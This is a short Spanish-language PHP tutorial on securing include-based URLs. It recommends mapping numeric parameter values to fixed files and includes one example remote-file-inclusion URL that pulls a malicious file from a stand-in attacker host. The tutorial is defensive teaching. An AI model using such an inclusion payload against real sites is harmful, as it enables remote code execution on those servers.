Seguridad en la Url
Comenzamos aclarando que la idea es mostrar en nuestra url solo el nombre del archivo por defecto (index.php), y que los demás serán incluidos desde este, dependiendo de un valor que pasemos por la url. Para cualquier sección de nuestra web, la dirección será index.php, acompañado de un valor que identifique nuestra sección, por ejemplo
<a href=”index.php”>Inicio</a>
<a href=”index.php?s=1″>Sección 1</a>
<a href=”index.php?s=2″>Sección 2</a>
<a href=”index.php?s=3″>Sección 3</a>
<a href=”index.php?s=4″>Sección 4</a>
Ahora, para que nuestro index sepa qué página se va a incluir, simplemente recuperamos el valor de la url con $_GET, y verificamos si hay una dirección que se corresponda a ese valor, y en caso de ser positivo, se incluye el archivo de esa dirección, como a continuación:
<?php
$sec=$_GET['s'];
$ruta=”;
if (empty($sec))
$ruta=”portada.php”;
if ($sec==’1′)
$ruta=”seccion1/eventos.php”;
if ($sec==’2′)
$ruta=”seccion2/recursos.php”;
if ($sec==’3′)
$ruta=”seccion3/descargas.php”;
if ($sec==’4′)
$ruta=”seccion4/info.php”;
if (!empty($ruta))
include($ruta);
?>
En la url solo se vería cualquiera de las siguientes:
index.php
index.php?s=1
index.php?s=2
index.php?s=3
index.php?s=4
Un TREMENDO ERROR (que mencioné al principio) es cuando en nuestra página la url es de la siguiente forma:
index.php?s=descargas.php
Si trabajamos la url de esa forma, cualquier vago que ande navegando por la internet puede modificar la url y hacer algo como:
index.php?s=http://sitiohacker.com/archivo_dañino.php
Pudiendo incluir desde otro servidor un archivo con un código maligno…
Debido a esto, lo más seguro es trabajar la URL de la forma index.php?s=1, donde s=1 será sustituida por una dirección específica de la página, y asi un valor de “s” para cada sección de la página. De esta forma nadie sabrá cual es la dirección de nuestras carpetas y subcarpetas que contienen los scripts de php